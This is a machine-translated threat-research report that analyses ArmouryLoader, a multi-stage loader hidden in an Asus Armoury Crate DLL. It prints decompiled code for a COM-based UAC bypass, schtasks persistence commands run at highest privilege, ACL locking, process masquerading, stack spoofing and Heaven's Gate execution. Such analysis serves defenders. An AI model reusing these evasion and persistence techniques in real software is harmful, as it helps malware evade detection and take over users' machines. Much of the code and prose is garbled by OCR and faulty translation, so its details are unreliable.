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Antiy CERT

The original report is in Chinese, and this version is an Al-translated edition.
Introduction

With the development of network attack technology, the malware loader is becoming the key component of
malware execution. Such loaders are a malicious tool used to load various malware into an infected system and are
typically responsible for bypassing system security protections, injecting malware into memory and executing, Lay
the foundation for the subsequent deployment of malware of the Trojan type. The core functions of the loader include

persistence mechanisms, fileless memory execution, and multi-level avoidance techniques.

Antiy CERT has been tracking the reserves of typical malicious loader families over the last few years,
aggregating information into special reports and continuing to track new popular loader families. This project will
focus on the technical details of the loader, and dig into its core functions in the attack chain, including its obfuscation
technology, encryption mechanism and injection strategy. In addition, we will constantly improve our security
product capability, take effective technical solutions to further improve that recognition rate and accuracy rate of

loader, and help user organizations to identify and prevent potential threats in advance.
1 Overview

The ArmouryLoader was first discovered in 2024 and has been used to deliver families of malware such as
SmokeLoader and CoffeeLoader. The loader is loaded by hijacking the export function of Asus's Armoury Crate
system management software, hence the name ArmouryLoader. The ArmouryLoader has the functions of lifting the
weight, persisting and delivering the target payload, and has the capability of resisting the EDR (End Point Detection

and Response), so that the subsequent delivering payload can break the system defense line more easily.

The ArmouryLoader will call the OpenCL decryption payload in the loading stage, and it needs the running

environment to have GPU or 32-bit CPU to run normally, which can avoid sandbox and virtual machine environment.
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When ArmouryLoader delivers the target payload, it uses the code segment of the legal DLL in the system to read
the sensitive memory and call the system functions. on this basis, it forges the call stack and hides the initiator of the
system call to avoid EDR detection. Through the above means, Armoury Loader has strong concealment, which
makes it difficult to be detected in sandbox and terminal environment, which improves the success rate of target load

delivery and poses a threat to the system security of users.

For more information about this loader, see the Antiy VirusView (Virus Encyclopedia).

Figure 1-1 Long press the identification QR code to view details of the HijackLoader1

2 Analysis of the Survival Technology of ArmouryLoader

2.1 Confusing technical analysis

Armoury Loader has three ways of obfuscating code, including adding useless instructions, code self- decryption,

and decryption using OpenCL.

Among them, ArmouryLoader has obfuscated code filled with useless instructions in the first and third phases.
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Figure 2-1: Useless directive added by ArmouryLoader 1

Self-decrypting codes are present in the second, fourth and sixth stages to interfere with analysis.
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Figure 2-2 Armoury self-decrypting code2

In addition, ArmouryLoader will use OpenCL to decrypt that code in the third phase, increase the difficulty of

analysis and increase the requirement for the running environment device.
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Figure 2-3 ArmouryLoader uses OpenCL to decrypt code 23

2.2 Analysis of Right-lifting Technology

In the fifth stage, ArmouryLoader will try to use CMSTPLUA COM component to propose authority. in the
process of proposing, ArmouryLoader will disguise itself as explorer. exe, and then call the function to obtain the

permission of Administrator.
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HVarl = IIDFrDmString(L"{GEDDGDT4—CDD?—4E75—B?6A—E5740595E24C}",&xIIE_ICMLuaU:il};
if (HVarl == 0) {
memset (&pBindOptions, 0,0x24);
pBindCOptions.cbStruct = 0x24;
local_38 = 4;
CoInitialize (0x0);
*xIID ICMLuaUtil 1.Datal = xIID ICMLuaUtil.Datal;
xIID ICMLuaUtil 1.Data2 = xIID ICMLuaUtil.Data2;
*IID ICMLuaUtil 1.Data3 = xIID ICMLuaUtil.Data3;
xIID ICMLuaUtil_1.Data4[0] = xIID ICMLuaUtil.Data4[0];
xIID ICMLuaUtil 1.Data4[l] = xIID ICMLuaUtil.Data4[1];
xIID ICMLuaUtil 1.Data4([2] = xIID ICMLuaUtil.Data4[2];
xIID ICMLuaUtil 1.Data4([3] = xIID ICMLuaUtil.Data4[3];
xIID ICMLuaUtil l.Data4([4] = xIID ICMLuaUtil.Data4[4];
xIID ICMLuaUtil 1l.Data4[5] = xIID ICMLuaUtil.Data4[5];
*xIID ICMLuaUtil 1.Data4[6] = xIID ICMLuaUtil.Data4[&];
xIID ICMLuaUtil 1.Data4([7] = xIID ICMLuaUtil.Data4[7];
HVarZ = CoGetChbject(L"Elevation:Administrator!new:{3ESFCTF9-9A51-4367-5063-A120244FBECT}",
EpBindOptions,&xITD ICMLuaUtil 1, &CMLuaUtil);
if (HVar2 == 0) {
HVar2 = (*(*CMLuaUtil)->ShellExec) (CMLuaUtil,rundl132,rundll32 parma,CurrentDirectory,0,0);

Figure 2-4 ArmouryLoader using the COM component to assign weights 24

2.3 Analysis of Persistence Technology

Armouryloader is persisted by scheduling tasks. Depending on the version, ArmouryLoader is persisted using

either the system tool schtasks or the scheduled task COM component.

Regardless of the manner of persistence, when you have administrator privileges, ArmouryLoader will choose
to trigger with user login and obtain the highest privileges, otherwise ArmouryLoader will execute with normal

privileges every 30 minutes.
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Figure 2-5 Scheduled Tasks Running with Top Privileges 25

In addition, ArmouryLoader adds systematic, hidden, and read-only attributes to persisted files, and modifies

ACLs that deny users to modify and delete files.

PS C:\ProgramData> Get-ItemProperty ArmouryAIOSDK.dll Attributes

ReadOnly, Hidden, System, Archive
Microsoft.PowerShell.Core\FileSystem: :C:\ProgramData\ArmouryAIOSDK.dll
Microsoft.PowerShell.Core\FileSystem: :C:\ProgramData

ArmouryAIOSDK.dll

C

Microsoft.PowerShell.Core\FileSystem

PS C:\ProgramData> (Get-Acl ArmouryAIOSDK.dll).Access[0] | Format-List

Write, Delete
Deny

False
None
None

Figure 2-6 ArmouryLoader Sets file properties 26
2.4  Analysis of countermeasures technology

Armouryloader will read sensitive location memory through special gadgets in legitimate DLLs.
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/* mov rax, [rax]:;ret; */
mov_rax [rax]_ ret = search gadget (ntdll + 0x1000,0x1000000);
;> ig@lﬁq%iﬁﬁntdllq]mov rax, [rax] ;ret; E)‘]gadget
ISR AIPTF A A raxTF TR, LIS EATFEE
>/
& lfanew = read OWORD(dll + Ox3c,mov_rax [rax] ret);
ntdll = read OWORD(e_lfanew + 0x88 + dll mov_rax [rax] ret);
ntdll = ntdll & Oxffffffff;
BLddressCfNamss = read QWORD(dll + ntdll + 0x20,mov_rax [rax] ret);
LddressofFunctions = read QWORD(d1ll + ntdll + Oxlc,mov rax [rax] ret);
AddressCfNameOrdinals = read OWORD(d1ll + ntdll + 0x24,mov_rax [rax]_ret);
NumberOfNames = read QWORD(dll + ntdll + 0xl18,mov_rax [rax] ret);

Figure 2-7 ArmouryLoader reads sensitive memory data from a gadget 7

Armouryloader also avoids detection by spoofing the call stack when calling sensitive functions in stages 3 and
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Figure 2-8 ArmouryLoader Forges Function Call Stack 28

Armouryloader will also obtain the system function call number through Halo's Gate, which has certain anti-

syscall hook capability and can directly perform the system call.
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Figure 2-9 ArmouryLoader searches for system call numbers using Halo's Gate technology 29

3 Attack process

The ArmouryLoader has eight stages, each of which is relatively independent and completes the delivery of the
final load in steps. Stages one, three, five, and seven of the ArmouryLoader are responsible for performing specific

malicious actions, while stages two, four, six, and eight are responsible for loading the PE payload of the next stage.

Table 3-1 Malicious Behavior in Different Stages of ArmouryLoader 3-1

Loading ..
Malicious acts
phase
el Hijacking the Armoury Crate export function and running the
ase
second stage shellcode

m Decrypt and run the third phase PE file

The third Decrypt and run the fourth phase of shellcode through

stage OpenCL

Phase IV Decrypt and run the fifth phase PE file

Carry out the claim and persistence, and run the sixth phase
Phase V
shellcode

Phase VI Decrypt and run the seventh phase PE file
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Stave Inject the shellcode of the eighth phase into the 64-bit
age
= dllhost. exe

|4 ETAYIIEY Load and run the target load

4 Sample analysis

4.1 Sample labels

Table 4-1 ArmouryLoader Sample Tags1

Virus name

)y I BB ER BV Armoury A.dll

MdS5S 5a31b05d53¢39d4a19¢4b2b66139972f
Processor

. X86
architecture

File size 1.41 MB (1,480,552 bytes)

File format Binexecute / Microsoft. EXE [: X86]

Time stamp 2023-12-13 15: 31: 16

Digital signature Asustek COMPUTER INC. (Digital signature is invalid)
Shell type None

Compiled

Microsoft Visual C / C + + (19.16.27049)
Language

Vt First Upload
Time
Vt test result 33/72

2024-09-12 18: 34: 23

4.2 The first phase of the ArmouryLoader loader

Armourya. dll is a part of Asus's Armoury Crate program, and the ArmouryLoader loader runs by hijacking the

free Buffer of ArmouryA. dll export function.

This function contains a large amount of useless code to interfere with security personnel's analysis and will

eventually decrypt and execute the second stage payload.
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4.3 Phase II of the ArmouryLoader
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Figure 4-1 ArmouryLoader decrypts and executes the second stage code 41

In that second phase of the armoury load, there is a large amount of self-decrypting code to hinder static analysis.
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Figure 4-2 ArmouryLoader self-decryption code 42
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In that second phase, the armouryloader load the CreateThread function through the PEB and creates a new

thread to execute the subsequent logic.

/* CreateThread */
if (FuncHash == (0x835e515e) {
local 20 = 0;
func offset = 0;
for (local_c = &DAT_00000as3a; *local c != 0; local ¢ = local _c + 1) {
local 20 = local 20 + 1;
func_offset = func offset + *local c;
/+ BERRHEMITREEE
uVarl = (*CreateThread) (0,0,func_offset + 0x5£f1,0,0,0);
*(local 20 * 4 + 0xa36) = uVarl;
(*Sleep) (uVarl >> 0x20 & O0xff);

/* WARNING: Read-only address (ram,0x00000a55) is written */
uRam00000a55 = local lc;

[+ FHUENITER BERLER +/
(*WaitForMultipleCbjscts) (local 20,0xaS5a,l,0xff£f£££f£F);
(*ExitProcess) (0);

*(param 4 + 8) = 0x2520000;
return CONCAT44 (param 3,unaff retaddr);

Figure 4-3 ArmouryLoader creates a new thread and executes the subsequent logic 43

In the new thread, ArmouryLoader reads the third phase PE file from the two phase payload and loads it into

memory for execution.

ivarl = load_image_ to_memory (param_l,param 2,unaff retaddr);
reloc(iVarl) ;

import_table(this,unaff EBP);

set_section characteristics(unaff EEP);

call tls(unaff EBF);
call payload_entrypoint();

return;
Figure 4-4 ArmouryLoader Loads the third phase of the PE file 44

4.4  The third phase of the ArmouryLoader loader

In that third phase, the armouryloader load the OpenCL library and decrypts the fourth phase payload through

OpenCL. This phase calls Nvidia, AMD, or Intel devices through the OpenCL library to decrypt shellcode.
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Figure 4-5 ArmouryLoader Looking for OpenCL-usable devices 45

Then ArmouryLoader will XOR the two strings to generate the decryption key, and then the key and the
ciphertext will be transmitted to the OpenCL device for XOR decryption, and the Shellcode of the next stage will be

obtained for execution.

do |
TTRKER 1 | ] EwrrE ¢
yli] = twyl & oxif);
- s 17
| while (i < Ox30);
- (e ¥t} 40,1, 54 ¢ 9,0,0)7
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il | Q H e el
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= (s aate Y Ix24,0, n23a4b, & 4 &~ )i
= {* et ) xt, Ux24 oy B ok S “);
v Ux2Im4b, 0, & ¥
onl na “~ _I on nay r _7 - AT nt 1
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= (+ - 5 ' . Bt ek i)
- = .
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Figure 4-6 ArmouryLoader uses an OpenCL device to decrypt shellcode 46
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In subsequent releases, this phase load adds a lot of confusion, making it difficult to analyze.

TaB_0042dacf XREF[1] : 0048062 (5)

0042dacsf ££f 75 fc PUSH dword ptr [EEEF + -0...
0042daf2 £f 34 24 PUSH dword ptr [ESP]=>DA.
0042daf5 Se EOP EST=>DAT_6990b539
0042daf6 52 PUSH EDX=>DAT 69900539
0042daf7 89 e2 MoV EDX, ESE
0042dafs 81 <2 04 ADD EDX, 0x4

00 00 00
0042daff 50 PUSH EAX=>DAT 6950b535 <—RIEM I NHFFEMREL S A RIEEE
0042db00 b8 04 00 MoV EAX, Ox4

00 00
0042db05 01 <2 ADD EDX, EAX
0042db07 58 EOP EAX=>DAT_6590b535 <-
00424608 87 14 24 XCHG dword ptr [ESE]=>Da.
0042db0b Sc EOP ESP=>DAT_ 69905539
0042db0c 56 PUSH ESI=>DAT 6990b53d
0042db0d 57 FUSH EDT=>DAT 69900539
0042db0e bf 06 90 MOV EDI, 0x7d265006

26 7d

Figure 4-7 ArmouryLoader Phase 3 Confusion 4-7

In subsequent release, that frame stack of the function is also falsified by way of construct ROP chains to combat
stack backtracking. Taking a program call to GetModuleHandleW as an example, the function in the figure will set
the EIP to the GetModuleHandleW function address via the ret 4 instruction, and then unstack the four bytes. At this
point, the top of the stack will leave the return address of the GetModuleHandleW function,
RtlCreateMemoryBlockLookside + 88, and the string pointer of the function's parameter, OpenCL.dll.
Rtlcreatememoryblocklookside + 88 is actually an assembly instruction of jmp [EBX]. When the
GetModuleHandleW function returns, the real return value of the function will be read from the EBX address and set

to the EIP to return the control flow of the program.
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57 push edi ESP 0019¢C3E <feutmodu ] enand] ew>
£9 26810200 ‘jq zhellcode, docrypt_d-crypt _decry ESI 75C7CT60 <kernal32. Getvodulesand]lews
2010 and byte ptr 1 EOI 00000003
oooom EIP 00341505 shellcode_decrypt_decrypt_decrypt, O
0043 56 SN | geLass 00000300
§2§2-(' AS lloop Ysl‘u'l cod dltrypt‘] :;-crypt dect TR PR, AR
893¢ | may annrd Prr dc:[edl],ed! Ehiog EA _SE.0 00
:: C9a81570 | may »g; M d“ b [ ] -
FC |mov & r ptr ds:fede-2 | 3 e ] - .
8249 5141A4C9 09 |3ub byte prr oa:fock. 163aMcAr),59 &;ﬁ* {stdeall — S L) Wit
2: 77 .77C5c038 1
3: 0019FF00 0015FFO0 L opencL. 411"
4: Q0000000 DO0O0V00
5: [esps1d] Q0000000 DOOOCO0O
-

AL
ntdll. Rt 1Creata‘emryﬂockl.mkuide¢u

die mit SRNE A et
topenct.d” < -GeModulstande Wi

0034003000 00

Figure 4-8 ArmouryLoader Construction of ROP chain against stack traceback 48
4.5 The fourth stage of the ArmouryLoader
In that fourth phase, the armoury load decrypts and load the fifth phase PE file and executes it in memory.

This phase also has self - decryption logic, but there are fewer layers of encryption, and loop instructions are

used to control the loop rather than the jnz of the second phase.

00000007 =8 00 0O CALL LAB 0000000c
o0 00
LAB 0000000c X
0000000c Se POP EST
0000000d b5 =3 3d MOV ECX, 0x23de3
02 00
00000012 k2 Zb MOV DL, 0x2b
LAE 00000014 "
00000014 30 94 0= XOR byte ptr [ESI + ECX*0xl + O0x17]==
17 00 0O 00
0000001 02 94 Oe ADD DL, byte ptr [ESI + ECX*0xl + 0Ox17:
17 00 00 00
Qoooo022 =2 £0 LOCP LAB 00000014

Figure 4-9 ArmouryLoader executes self-decryption logic 49

After decryption, ArmouryLoader will load the PE file in memory and execute it.
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IMAOE NY BEADERS ayload->e res + payload->e lfanew + -Oxleg

{IMALE N tAlsRs->0ptionalHeadar) .51 2e0fmage;
* Virtualillocs *

= Ox33c
- Inage,x Ox3 B
e
“h 14
for (L = (IMAGE NT --L,;;:'.'—Nc;ptxonnxﬂendaz).Bizoor}h.-.hxs; L I= G £ = 4 - 1) {
= *In
" = ) -
= . ’
|
IMAGE {_Hz -
ATERF->CptionalHeader),DataDirectory + Ixc)=>Magic +
(IMRCE NT EPRADERS->PileBeader) .8irxe0fOptionalBeader;
Nus = (IMAOE N7 HEADTRS->FileHeader) .NumberOfSections;
da |
\llata = aylea -re_zes + (IMAGE SECTION HEADEZR->PointarToRasData - Oxle);
VA = dat ¢ IMAGE_SICTION _NEADERE->VirtuvalAddceas;
for (& = ImasE r LON HEADEZR->SizeOfRawdData; : 1= 0; = - 31 1
= a7
- = tion a o+
- + 13
|
MAD -4 EADER = I) - A +1
| while (Nus =0);

Figure 4-10 ArmouryLoader Loads PE Files to Memory 410

4.6 The fifth stage of the ArmouryLoader

In that fifth stage, the armoury load first detects whet the program has elevated permissions or belong to a system

user group, and selects different persistence location based on the permissions.
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losalandle {(Tokanlanala);
if (Toksnlnformariosn == foksa¥lavatioaTypatull) |
zetura true;

v«Valuel4

|
ifiezauttorivy.Value(s] = *\x03';

Value[0] = "\O';
Valae([l] = *
Valuef{l2] = '\0")

Valuaii] =

it ({Bvarl 1= 0) && (EVari &« CheokTokenMenbership (Ox0,p3id, laManber), EVar = 0))

Figure 4-11 ArmouryLoader detecting process permissions 411

The ArmouryLoader then copies itself under’o PROGRAMDATA% or% LOCALAPPDATA% and sets the file

system, hide, and read-only properties.

if (CONCAT31 (extraout_war,bVarl) == 0) |{
/+ MMBEFHSMME, WiF2 P 2PROGRAMDATAS \Armour yATOSDE. d11
of i

pwVar5 = L"%LOCALAPPDATA%\\ArmouryAIOSDK.d1l1l";
pWvaré = local aB8;

for (ivar4 = 0x10; iVar4 != 0; iVar4 = iVard + -1) {
*oWVare = *pwvVarS;
pwvars = pwVarS + 2;

pWVarét = pWvVare + 2;
1
*pWVare = *pwvVard;
memset (local_ _a46,0,0xlcE);
ExpandEnvironmentStringsW(local aB8,local 470, 0x104);
EVar? = CDpyFileW(local_S,lacal_&?&,D};
if (BVar3 == 0) goto LAB_004012fk;
SetFileAttributesW (local 470,

FILE ATTRIBUTE SYSTEM | FILE ATTRIBUTE HIDDEN | FILE ATTRIBUTE READONLY) ;

Figure 4-12 ArmouryLoader moves itself to a specific directory 412

Then ArmouryLoader will also add the ACL list of files to prevent users from deleting or modifying their own

programs.
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/* CURRENT USER */

pListOfExplicitEntrie.Trustes.ptstrName = param_ 2;
param 1 = 0x0;
local 8 = 0x0;
pListOfExplicitEntrie.grfAccessPermissions =

DELETE | FILE WRITE ATTRIEUTES | FILE WRITE_EA | FILE_AFPPEND DATR | FILE WRITE DATA;
pListOfExplicitEntris.grfAccessModse = DENY ACCESS;
pListOfExplicitEntrie.grfInheritance = 0;

pListOfExplicitEntrie.Trustee. TrusteeForm TRUSTEE_IS_MNAME;

pListCfExplicitEntrie.Trustee.TrusteeType = TRUSTEE_IS WELL_ENOWN_GROUP;
GetNamedSecurityInfDW{pObjec:Name,SE_FILE_OBJECT,4,DxD,DxD,&param_l,DxD,&local_%};
DVarl = SetEntriesInAclW(l, &§pListOfExplicitEntrie, 0x0, &param 1} ;
if (DvVarl == 0} {
DVarl = SetNamedSecurityInfoW(pChjectName, SE_FILE OBJECT, 4, 0x0, 0x0,param_1,0x0);
if (DVarl == 0) {
return 1;

}

LocalFrees (param 1) ;

LocalFrees(local 8);

Figure 4-13: List of ACL Changes to ArmouryLoader Files 4-13

Armouryloader will then persist by creating a scheduled task called AsusUpdateServiceUA that runs every 30

minutes through schtasks.

pwVar5 = L"schtasks /Create /3C MINUTE /MO 30 /TN AsusUpdateServiceUZ /TR \"";
pWVvarée = local 2€8;
for (iVar4 = 0x20; ivar4 != 0; ivVar4 = iVar4 + -1) {
*pWvVaré = *pwvVars;
pwvarS = pwVar5 + 2;
pWVaré = pWvaré + 2;
}
*pWVaré = *pwVar5s;
memset (local_ le6,0,0x186);
ExpandEnvirommentStringsW (L"\"%SystemRoot%\\system32\\rundl1132.exe\"",local E78,0x104);
memset (&local 60,0,0x44);
local &0.cb = 0x44;
local E0.wShowWindow = 0;
local lc.hProcess = 0x0;
local 60.dwFlags = 0x101;
local lc.hThread = 0x0;
local lc.dwProcessId = 0;
local lc.dwThreadId = 0;
ExpandEnviromnment3tringsW (L"%SystemRoot%\\system32\\schtasks.exe", local 880, 0x104);
lstrcatW (local 268,local €78);
lstrcatW (local 268,L" \"");
lstrcatW (local 268,local_ 470);
lstrcatW (local 268,L"\", freeBuffer\"");
pWVar2 = local_ B880;

Figure 4-14 ArmouryLoader persistence through schtasks to create scheduled tasks 4-14

If you have administrator privilege, ArmouryLoader will execute with that high privilege when the user logs on.
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ExpandEnviromnmentStringsW (L" $PROGRAMDATAS \ \ArmouryATCOSDR.d11", local 470, 0x104);
BVari = CDpyFileW(pWVar2,chal_4?D,D);
if (BVar2 == 0) goto LAB 004012fb;
SetFileAttributesW (local 470,7);
set permission(local 470,L"CURRENT USER");
/v BERARE, REfURMT v/

pwVarsS = L"schtasks /Create /3C ONLOGON /TN AsusUpdateServiceUZ /RL HIGHEST /TR \"";
pWVare = local 2€8;
for (iVar4 = 0x23; iVar4 != 0; iVar4 = ivVar4 + -1) {

*LWVaré = *pwvars;

pwVarS = pwVars + 2;

pWVarée = pWvVare + 2;
}
*pWVareé = *pwvVarSs;
memset (local 1da,0,0x17a);
ExpandEnvironmentStringsW (L"\"%3ystemRoot\\system32\\rundl132.exe\"", local 8680, 0x104);

Figure 4-15 ArmouryLoader Running Scheduled Tasks with Highest Privileges 415

—
- * Comprehensive Analysis of ArmouryLoader - Series Analysis of Typical Loader Families (Five)

In newer versions, ArmouryLoader will try to invoke the rights using COM components, in which case

ArmouryLoader will first modify the process information in PEB and LDR _DATA TABLE _ENTRY.

GetWindowsDirectoryW (explorer_path,0x104);

lstrcatW (explorer path,L"\\explorer.exs");

explorer path 1 = VirtualZlloc(0x0, 0x104, 0x3000,4);

lstrcpyW (explorer path 1,explorer path);

peb = ProcessEnvironmentBlock;

peb_1 = ProcessEnvironmentBlock;

(*BEtlEnterCriticalSection) (ProcessEnvironmentElock—->FastPeblLock);

/+ EeER{EE +/
{*R:lIni:UnicmdeS:ring}(&peb—>Pr0ce55Parameter5—>ImagePathName,explmrer_pa:h);
{(*RtlInitUnicodeString) (&peb->ProcessParameters—>CommandLine, explorer _path);
InLoadOrderModulelList = peb—>Ldr->Reserved2 [1];

EtlEnterCriticalSection = InLoadCrderModulelList;
GetMDduleFileNameW(DxD,chal_42D,DxlD4);
do {
ivarl = lstrcmpiW({local_ 420, (InLoadOrderModulelist—>FullDllName) .Buffer);
if (ivarl == 0) {
/* {LDR DATA TABLE ENTRY{FE */
(*RtlInitUnicodeString) (§InLoadOrderModulelist->FullDllName, explorer_path_1);
(*RtlInitUnicodeString) (InLoadOrderModuleList—>BaseDllName, explorer_path_1});
break;
1
InLoadOrderModuleList = InLoadOrderModulelList—>Reservedl[0];
} while (InLoadCrderModulelList != RtlEnterCriticalSection);
(*RtlLeavelriticalSection) (peb_ 1->FastPsbLock) ;

uvarz = 0;
Figure 4-16 ArmouryLoader Modifying Process Information 416

Then the weights are extracted by the COM component CMLuaUtil.
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HVarl = IIDFromString (L"{EEDDEDT4-C007-4ETS5-BT6A-ES5T40995E24C} ", &xI IE_ICML'JaU::i_l} H
if (HVarl == 0) {
memset (&pBindOptions, 0,0x24);
pBindCOptions.cbStruct = 0x24;
local_38 = 4;
CoInitialize (0x0);
*xIID ICMLuaUtil 1.Datal = xIID ICMLuaUtil.Datal;
xIID ICMLuaUtil 1.Data2 = xIID ICMLuaUtil.Data2;
*IID ICMLuaUtil 1.Data3 = xIID ICMLuaUtil.Data3;
xIID ICMLuaUtil_1.Data4[0] = xIID ICMLuaUtil.Data4[0];
xIID ICMLuaUtil 1.Data4[l] = xIID ICMLuaUtil.Data4[1];
xIID ICMLuaUtil 1.Data4([2] = xIID ICMLuaUtil.Data4[2];
xIID ICMLuaUtil 1.Data4([3] = xIID ICMLuaUtil.Data4[3];
xIID ICMLuaUtil l.Data4([4] = xIID ICMLuaUtil.Data4[4];
xIID ICMLuaUtil 1l.Data4[5] = xIID ICMLuaUtil.Data4[5];
*xIID ICMLuaUtil 1.Data4[6] = xIID ICMLuaUtil.Data4[&];
xIID ICMLuaUtil 1.Data4([7] = xIID ICMLuaUtil.Data4[7];
HVarZ = CoGetChbject(L"Elevation:Administrator!new:{3ESFCTF9-9A51-4367-5063-A120244FBECT}",
EpBindOptions,&xITD ICMLuaUtil 1, &CMLuaUtil);
if (HVar2 == 0) {
HVar2 = (*(*CMLuaUtil)->ShellExec) (CMLuaUtil,rundl132,rundll32 parma,CurrentDirectory,0,0);

Figure 4-17 ArmouryLoader using COM components to propose weights 417

In subsequent update, ArmouryLoader use COM components in place of that schtasks program to create

schedule tasks.

"Suystenboot S \aystenidloundll3Z axe® ¢
| 3 = (*dysill -1 1) {pacan_2);
= (‘ppvibiect ->1pVebl-»put Fath) | = sct L, POVaz )

AIouryATOOTE . 411", Eoss EntrypointRetur
= (‘BysAll ring) (pazan_3);

- (‘ppwcl t_=>lpVebl->put Arguments) () oot 4} Sl F

Dl-*Release) {);

Vebl->Release) (pphccd I

» 0o
camrid.nl.decval . ni32 = sull var.decTal.®il2;
id.nl. 0O_&_= 0 ¢
i.nl,_8 - &84
Tdynl, _1 U2 12_6 3
azswizd.nl.decVal Hi32 = 1 .decVal H232;
passwozd.nl._0_4_ = null _wvaz. 0_4
panwezsd.nl. 8 4 = null var. 8 4_
passmszd.ni. 12 4 = null eac._12

al.decVal . R132 «
rodecvel (RiJ2;

t._12 4 ¢

INTERA

Figure 4-18 The ArmouryLoader uses the COM component to create a scheduled task 418

When you do not have System permissions, the scheduled task is triggered every 10 minutes.
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if (-1 < ivarZ) {

pOVar3 = ::8yshAlloc3tring (L"2005-01-01T12:05:00");

(*ppPrincipal ->1pVtbl-»put_StartBoundary) (ppPrincipal ,pCVarl);

local 24 = 0x0;

iVar2 = (*ppPrincipal —>1pVtbl->gst Repetition) (ppPrincipal ,&local 24);

if (-1 < ivar2) {
bstrString = ::8ysAllocString (L"PT10M") ;
bstrString 00 = ::SysAllocString(L"");
(*lmcal_24—>lthbl—>put_Interval){local_24,b5:r5:ring};
(*local_ 24->1pVtbl->put_Duration) (local 24,bstrString_ 00);
(*local 24->1pVibl->Release) (local 24);
SysFreeString(bstrString);
SysFreeString({bstrString 00);

SysRllocString = SysRllocString exref;

Figure 4-19ArmouryLoader sets a scheduled task that is triggered every 10 minutes 419

When you have System permissions, ArmouryLoader is set to run the program with the highest permissions.

if (is privileges != 0) {
pPpPrincipal = 0x0;
ivar2 = (*ppDefinition—->1pVtbl->get_Principal) (ppDefinition, &pPrincipal ) ;
if (-1 < ivar2) {
{(*ppPrincipal ->1pVtbl->put_RunLevel) (ppPrincipal , TASK _RUNLEVEL HIGHEST);
}
(*ppPrincipal ->1pVtbl->Release) (ppPrincipal );

Figure 4-20ArmouryLoader Setting Scheduled Task Run Permissions 420

At this time, the ArmouryLoader scheduled task will be logged in and triggered.

iVar2 = (*ppTriggers_->1pVtbl->Create)
{(ppTriggsrs_, TASK TRIGGER LOGON,&ppPrincipal J);

if (-1 < ivarZ) {

ppPrincipal 2 = 0x0;

iVar2 = (*ppPrincipal ->1pVtbl->CQueryInterface)

(ppPrincipal ,&local 38,&ppPrincipal 2} ;
pIvar4d = ppPrincipal ;
if (-1 < ivar2) {
(*ppPrincipal 2->1pVtbl->Release) (ppPrincipal  2);

pIVar4 = ppPrincipal ;

(*pIVar4—->1pVtbl->Releases) (pIVar4d);

Figure 4-21 ArmouryLoader Setting Scheduled Task Login Trigger 421
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Then run shellcode to execute the next phase.

lpiddress = Virtualflloc (0x0, 0x22868, 03000, 4) ;
memcpy (lphddress, 0x402058, 0x22868) ;
VirtualPrDtect{lphddress,Dx22868,Dx4D,&lacal_c};

(*1p2ddress) () ;

Figure 4-22 Load the sixth phase of ArmouryLoader execution 422

4.7 The sixth stage of the ArmouryLoader loader

The sixth stage has the same function as the fourth stage, and is responsible for decrypting and loading the next

stage PE files.

do {
OVar> = IMAGE RELCCATICN->SymbolTableIndex;

reloc_idx = puVar8 >> 31;

do {
Type = * (&IMAGE_ RELOCATION->Type + reloc_idx);
Type_1 = Type;
if ((Type >> 8 & Ox£f0) == IMAGE REL EBASED HIGHLOW) {
reloc_addr = (Type_ 1 & Ox££f££f0££F) + (IMRGE_RELOCATIGN—>fieldO_OxD}.VirtualAddress +
struct—>image base;
*reloc addr = (*reloc_addr - {IMAGE_NT_HEADERS—>OptionalHeader).ImageBase} +
struct—>image base;
Type 1 = 0;
}
if (Type_1 != 0) goto LAB_0D00227c3;
reloc_idx = reloc_idx + 2;

< DVar5S — 8);
symbol table idx + IMAGE RELOCATICN->SymbolTableIndex;

} while (reloc idx
& ImGE_RELOCI—'&T I ON—?fiEldD_OxD + II\{QGE_RELOCRT I ON—}Sy'mbolTableIndex;

symbol table idx =

IMAGE RELOCATION =
} while (symbol table idx < IMAGE RELOCATION RVA[1]);

(*struct—->*FlushInstructionCache) (0xf££f££f£££,0,0);
/* BAT—HBeeitt A0/ +/

(* ((IMAGE NT HEADERS->OptionalHeader) .AddressOfEntryPoint + struct->image base)) ();

Figure 4-23 ArmouryLoader completes redirection and calls the next stage PE file entry point 423
4.8 Armouryloader 7 Stage of Loader
In phase 7, ArmouryLoader will create a 64 - bit dllhost. exe process and inject shellcode into it to change the

runtime environment from 32 - bit to 64 - bit.

Armouryloader first turns off file redirection and creates a 64 - bit dllhost. exe process.

21
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kernel32 = load dll (0x41£flcSkb);
local 14 = kernel3Z;
WowE4DisableWowE4FsRedirection = load func(kernel3Z2, -0x4s2b02s2);
local 18 = 0x0;
result = (*Wow&4DisableWowt4FsRedirection) (&local_18);
1f (result != 0) {

memset (local 488,0,0x44);

local 28 = 0;

local 24 = 0;

uStack_20 = 0;

uStack _lc = 07

memset (local £10,0,0x670);

%&SystemBoot® system32 dllhost.exe[0] = "%";
%3ystemRoot%_system32 _dllhost.exe[1l] = "\0';
%SystemRoot% system32 dllhost.exe[2] = "S";
%SystemRoot% system32 dllhost.exe[3] = "hNOT;

Figure 4-24 ArmouryLoader turns off file redirection 424

The ArmouryLoader will then search for some 64-bit DLLs to hijack the main process, in which the

ArmouryLoader will frequently execute 64-bit code using the door of heaven technology.

00403=4b S7 TN ED2
00401c8c €6 0f 13 MOVLED qword ptr |7 4 lcoal_cl, M
45 ¢ : BEERPN M0x3IGMED
00401c38 6a 33 PUSH %33 = RS AE | Pithay
00403253 b 00 00 CALL LAR (
)
LAS 00401c%8 / = XREF(1}1
0040358 03 04 3¢ 0% ADD dword per [1o7|=riccal_20,0ffmes.,
00402050 o RETP
LAD _00401cS5d R ISR A AT yrer (1] n
00401cqd 40 DEC push 12
00401c%e 34 PUEK pop CQWORD PTR [rbp-OxB|
00401cqt 52 25 £5 BOF dword ptr [t R |
00402242 00 00 CALL LAR_00403¢€7 .
- call S5
00
LAS_00401c8? XBEF{1] | "
0040%cl7 7 44 24 o dwaed pte |2 + Oxd],0x23
04 23 O may  DWORD PTR [rsp + 0xd] 0523
00 0
00401eqr 83 04 2¢ Od ADD dword ptr [28F],offset LAB_00491-.
i i ee add  DWORD PTR lrsp]Ond
retf
LAs 00dli=T4 xRerilz 0
45 f§ Mo odvosd pee [EEF 4 -Gxi]
55 fec woy I, dwosd ptr [xXnF ¢ x4]
Rl T BESRFI NN TGS
00405=Th Sae L= x
00402cTe Sb o1

Figure 4-25 ArmouryLoader executes 64-bit code through the gates of heaven 425

Through the Heaven's Gate, ArmouryLoader can call functions in 64-bit DLLs. As shown in the figure,
ArmouryLoader can search and call 64-bit functions through get  dll64, get func64, and call _ func64. Then the

